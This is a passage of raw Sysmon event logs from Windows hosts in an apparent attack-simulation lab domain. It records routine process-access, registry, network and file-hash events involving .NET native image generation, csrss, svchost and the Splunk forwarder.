ramework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.164{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-0E0A-00000000F001}6584C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.143{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-0E0A-00000000F001}6584C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.143{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-0E0A-00000000F001}6584C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.072{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-0D0A-00000000F001}528C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.053{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-0D0A-00000000F001}528C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.053{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-0D0A-00000000F001}528C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.003{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F76-613B-0C0A-00000000F001}4816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013993Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:12.857{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F69F7B73797633227C96BDD8D0B948E4,SHA256=C7DFEF7B8AC1E97919BA9B5568E959F58FC0F4151AEBDFAE0A5896D6A64D1B19,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.677{7BD73061-6F78-613B-1E0A-00000000F001}5180496C:\Windows\system32\conhost.exe{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.656{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F78-613B-1E0A-00000000F001}5180C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.646{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.646{7BD73061-65B2-613B-1300-00000000F001}922284C:\Windows\System32\svchost.exe{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\pcasvc.dll+43591|c:\windows\system32\pcasvc.dll+22bed|C:\Windows\SYSTEM32\ntdll.dll+7de1d|C:\Windows\SYSTEM32\ntdll.dll+3a969|C:\Windows\SYSTEM32\ntdll.dll+1e86f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.646{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.646{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.646{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.646{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.646{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000045069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDBSetValue2021-09-10 14:45:12.636{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store\C:\Temp\OfficeSetup.exeBinary Data 354300x800000000000000045068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:09.478{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59266-false10.0.1.12-8000- 10341000x800000000000000045067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.285{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F78-613B-1C0A-00000000F001}7112C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.272{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F78-613B-1C0A-00000000F001}7112C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.272{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F78-613B-1C0A-00000000F001}7112C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.255{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A04E325022787E3B89B2C11D61431E33,SHA256=362299792E6C3D7DDB2A424690D5C7832E78E4670D4687D5426F845CDE4DE8EF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.205{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BA5F63CB6D9A1D2A9ECBEC84F59CD8DA,SHA256=997D412C480AC62568FD54D800A43D920C91D612544759FBC3495D0153672640,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.075{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F78-613B-1B0A-00000000F001}2344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.067{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F78-613B-1B0A-00000000F001}2344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:12.067{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F78-613B-1B0A-00000000F001}2344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013994Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:13.873{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B24E66F99A008D812DBC7235B8719AF,SHA256=F54618670FAA2B811E4B70124E014D64B51554A70ADA0F3C4A58CEC5D0E28E4E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:13.946{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F79-613B-1F0A-00000000F001}2992C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:13.926{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F79-613B-1F0A-00000000F001}2992C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 